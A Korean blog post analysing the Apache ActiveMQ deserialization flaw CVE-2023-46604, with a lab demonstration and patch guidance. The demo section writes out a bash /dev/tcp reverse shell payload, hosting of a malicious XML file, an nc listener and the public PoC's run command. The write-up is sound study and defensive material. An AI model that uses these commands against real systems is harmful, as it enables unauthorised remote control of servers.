정보보안/CVE

[CVE-2023-46604] Apache ActiveMQ 취약점

록스타★ 2024. 5. 26. 13:28
반응형

1. 취약점 개요

 

1) CVE-2023-46604 개요

CVE-2023-46604 Apache ActiveMQ OpenWire 프로토콜에 존재하는 역직렬화 취약성이다. 공격자는 이 결함을 악용하여 ActiveMQ가 실행 중인 서버에서 임의의 코드를 실행할 수 있으며 원격 서버에서 명령을 실행(RCE)할 수 있는 악성 xml파일을 만들 수 있다.

이 공격은 xml 문서 작성 프로세스를 자동화 및 추상화하고, 파일을 전달하는 기본 서버를 제공하며, POST를 통해 대상 서버에서 정보를 다시 수신한다. 이렇게 하면 역방향 셸을 호출하거나 이진 파일을 배포할 필요 없이 계속 악용할 수 있다.

 

 

2) 사전 지식

) Apache ActiveMQ?

Apache에서 개발한 ActiveMQ는 클라이언트와 서버 간의 통신을 용이하게 하는 오픈 소스 메시지 브로커로 메시지 지향 미들웨어로 작동한다. Java 및 다양한 교차 언어 클라이언트와 여러 프로토콜을 지원하며 OpenWire JMS 같은 추가 기능을 포함한다. 한 메시징 프로토콜에서 다른 메시징 프로토콜로 메시지를 변환하여 다양한 서비스간의 통신을 가능하게 하는 기능을 한다.

 

[그림 1] ACTIVE MQ

) OpenWire?

OpenWire 프로토콜은 다양한 언어나 플랫폼에서 ActiveMQ에 접속할 수 있게 하는 메시징 프로토콜이다. ActiveMQ OpenWire, AMQP, XMPP, MQTT 등 다양한 메시징 프로토콜을 지원한다.

 

) 직렬화와 역직렬화  

직렬화(Serialization)란 네트워크를 통해 다른 곳으로 전송할 수 있는 형식이나 파일에 저장할 수 있는 형식으로 객체를 변환하는 것을 말한다. 역직렬화(Deserialization)란 직렬화한 데이터를 본래의 객체로 되돌리는 변환을 역직렬화라고 한다. 직렬화의 대표적인 종류로는 바이너리 직렬화, XML 직렬화, JSON 직렬화 등이 있다.

 

[그림 2] 직렬화와 역직렬화

 

) XML이란?

XML(Extensible Markup Language)은 데이터를 정의하는 규칙을 제공하는 마크업 언어이다. 다른 프로그래밍 언어와 달리 XML은 자체적으로 컴퓨팅 작업을 수행할 수 없다. 대신 구조적 데이터 관리를 위해 모든 프로그래밍 언어 또는 소프트웨어를 구현할 수 있다.

 

 

02. 상세 분석

1) 영향 받는 소프트웨어 버전

CVE 취약한 버전 위험도(CVSS점수)
 
CVE-2023-46604
Apache ActiveMQ 5.18.0 ~ 5.18.2  
High(10.0)
Apache ActiveMQ 5.17.0 ~ 5.17.5
Apache ActiveMQ 5.16.0 ~ 5.16.6
Apache ActiveMQ ~ 5.15.15

[ 1] CVE-2023-46604에 영향 받는 버전 정보

 

2) CVE-2023-46604 공격 매커니즘

먼저 직렬화, 역직렬화 및 안전하지 않은 역직렬화의 의미를 살펴본다.

직렬화는 복잡한 데이터 구조나 개체를 나중에 쉽게 저장, 전송 또는 재구성할 수 있는 형식으로 변환하는 과정이다. 이를 통해 서로 다른 시스템 또는 응용프로그램 간에 데이터를 저장하거나 공유할 수 있다. 반면 역직렬화는 직렬화된 형식에서 데이터를 다시 구성하여 프로그램이나 응용 프로그램 내에서 사용할 수 있도록 하는 역방향의 과정이다.

안전하지 않은 역직렬화는 종종 신뢰할 수 없는 원본의 데이터가 적절한 유효성 검사 또는 보안검사 없이 역직렬화될 때 발생한다. 이로 인해 공격자가 역직렬화된 데이터를 조작하여 악성 코드를 실행하여 시스템이나 애플리케이션에 해를 끼칠 수 있으므로 보안 취약성이 발생할 수 있는 것이다.

따라서 역직렬화 과정에서의 유효성 검사 부족이 이 취약점의 주요 원인이다. OpenWireFormat#doUnmarshal 메서드에 의해 촉진되는 역마샬링이라는 중요한 프로세스를 거치게 되는데, 역마샬링은 들어오는 이진 데이터를 보다 이해하기 쉽고 사용 가능한 형식으로 변환하는 기술이다. 이 변환을 수행하기 위해 프로세스는 BaseDataStreamMarshaller라는 필수 구성 요소를 사용한다.

Apache ActiveMQ에는 각각 특정 데이터 유형에 맞게 설계된 다양한 종류의 DataStreamMarshaller가 있다. 시스템은 데이터와 함께 제공되는 DATA_STRUCTURE_TYPE을 확인하여 사용할 마샬러를 파악하게되는데 이 취약점은 데이터에서 만든 클래스의 유효성을 검사하지 못하기 때문에 발생한다. , 공격자는 가짜 예외처리 가능한 클래스를 만들고 시스템을 속여 합법적으로 취급할 수 있다. 시스템에서 역직렬화 도중 이 허위의 클래스를 사용하려고 하면 자신도 모르게 공격자의 악성 코드가 실행되는 것이다.

Spring ClassPathXmlApplicationContext는 다양한 응용 프로그램 지원 객체의 컨테이너 역할을하는 클래스인데 이 클래스를 사용하면 XML파일을 이용해 Spring 애플리케이션을 설정할 수 있다. ClassPathXmlApplicationContext를 만들 때 단일 문자열 매개 변수는 XML 구성 파일의 위치를 지정하는데 이 ClassPathXmlApplicationContext가 원래 예외처리할 수 있도록 설계되지 않은 경우 공격자가 로컬 클래스 정의를 악성 버전으로 바꾼 뒤 유해한 페이로드를 패키징하여 전송할 수 있다는 문제가 발생하게 되는되는 것이다.

 

3) POC 코드 분석

깃허브에 공개된 POC(https://github.com/evkl1d/CVE-2023-46604)를 분석해본다. POC코드에는 대상 IP, 포트(기본값 61616/tcp) “Spring XML URL”과 같은 입력이 필요하다. 헤더와 본문으로 구성된 직렬화 개체와 유사한 페이로드를 생성한다. 그런 다음 이 페이로드는 16진수 형식으로 변환되어 ActiveMQ 포트(61616/tcp)에 메시지로 발송된다. 이 익스플로잇은 ActiveMQ의 역직렬화 취약점을 이용하여 Spring 애플리케이션인ClassPathXmlApplicationContext를 활용하여 임의의 셸 명령을 실행할 수 있는 기능이 있는 원격 XML파일을 로드한다.

 

[그림 3] ClassPathXmlApplicationCotextClass

다음 이미지에서는 Bash 역방향 셸을 시작하는 “bash -i >& /dev/tcp/ip주소/port 0>&1”명령을 통합하여 명령 값을 대체하는 방법을 보여준다. 지정된 공격자의 IP 주소 및 포트에 대한 연결을 설정하여 사용자가 원격 시스템과 상호 작용하고 임의의 셸 명령을 실행할 수 있는 대화형 세션을 만든다.

[그림 4] POC 코드(poc.xml)

4) 공격 시연

 

) 테스트 환경 구성

구분 피해자 환경
운영 체제 CentOS7_Victim
소프트웨어 Apache ActiveMQ
취약 버전 5.15.0
IP 주소 10.0.2.123
비고 가상 머신 사용, 공격자와 NAT환경 설정

[ 2] 피해자 환경 구성

구분 공격자 환경
운영 체제 KaliLinux_Attacker
IP주소 10.0.2.100
비고 가상 머신 사용, 피해자와 NAT환경 설정

[3] 공격자 환경 구성

 

 

[그림 5] 가상환경 간 ping test가 원할하게 이뤄지는 모습

) POC 출처

POC의 출처는 다음과 같다.

https://github.com/evkl1d/CVE-2023-46604.git

 

) 공격 실행

목표 : POC 코드를 활용하여 역방향 쉘을 얻고 root권한 획득

 

피해자 환경에서 취약 버전 ActiveMQ 실행.

[그림 6] 피해자 환경에서 ActiveMQ 실행1
[그림 7] 피해자 환경에서 ActiveMQ 실행2

② poc.xml파일 내부에서 환경에 맞는 페이로드 값 조정

→ /dev/tcp/공격자ip/port번호

 

[그림 8] 공격자 환경에서 POC.xml 파일 수정

페이로드 호스팅 : 공격자 환경에서 Python 기반 HTTP 서버를 배포하여 아래와 같이 XML 파일을 제공

→ Python3 -m http.server 8000

[그림 9] Python HTTP 서버를 통한 xml 호스팅

피해자 환경에서의 호스팅 여부 확인

http://[Attacker IP:PORT NUMBER]/poc.xml

[그림 10] XML구성에 액세스하는 피해자 컴퓨터
[그림 11] 피해자 구성에서 엑세스 한 것을 확인가능

공격자 환경에서 포트 리스너 시작

→ nc -lvnp 8080

[그림 12] 공격자 환경 포트 리스너

피해자에 대한 POC 익스플로잇을 실행

→ python3 exploit.py -i 피해자ip -u http://공격자ip:포트/poc.xml

[그림 13] POC 실행 성공

포트 리스너에서 리버스 쉘을 이용한 권한획득 및 제어 가능 확인

[그림 14] 공겨자 환경 포트리스너에서 권한 획득 확인

03. 대응 방안

1) Apache ActiveMQ 보안패치 적용

취약한 버전 보안패치 버전
Apache ActiveMQ 5.18.0 ~ 5.18.2 Apache ActiveMQ 5.18.3
Apache ActiveMQ 5.17.0 ~ 5.17.5 Apache ActiveMQ 5.17.6
Apache ActiveMQ 5.16.0 ~ 5.16.6 Apache ActiveMQ 5.16.7
Apache ActiveMQ ~ 5.15.15 Apache ActiveMQ 5.15.16

[4] CVE-2023-46604 패치 버전

 

2) 방화벽에서 포트 61616차단(임시방안)

ActiveMQ가 필요하지 않은 경우 OpenWire 프로토콜의 기본포트인 61616포트를 방화벽에서 차단한다.

 

04. 참고 자료

How to Fix CVE-2023-46604: Apache ActiveMQ's Critical Vulnerability (uptycs.com)

ActiveMQ-RCE/README-en.md at main · X1r0z/ActiveMQ-RCE · GitHub

Blog - CVE-2023-46604 Attacking & Defending ActiveMQ - PRIOn (prio-n.com)

 

 

 

결론 

우선 CVE-2023-46604는 같이 분석을 진행한 신짱TDL님 감사합니다.

CVE-2023-46604와 같은 공격처럼 리버스쉘 공격은 대상자에 악성코드를 설치하여 심각한 피해를 입히기 쉽다고 생각한다. 리버스쉘은 보안 취약점 테스트나 분석할 때도 사용을 하기도 한다는데 리버스쉘은 관련하여 공부를 더 많이 해야할 거 같다.

반응형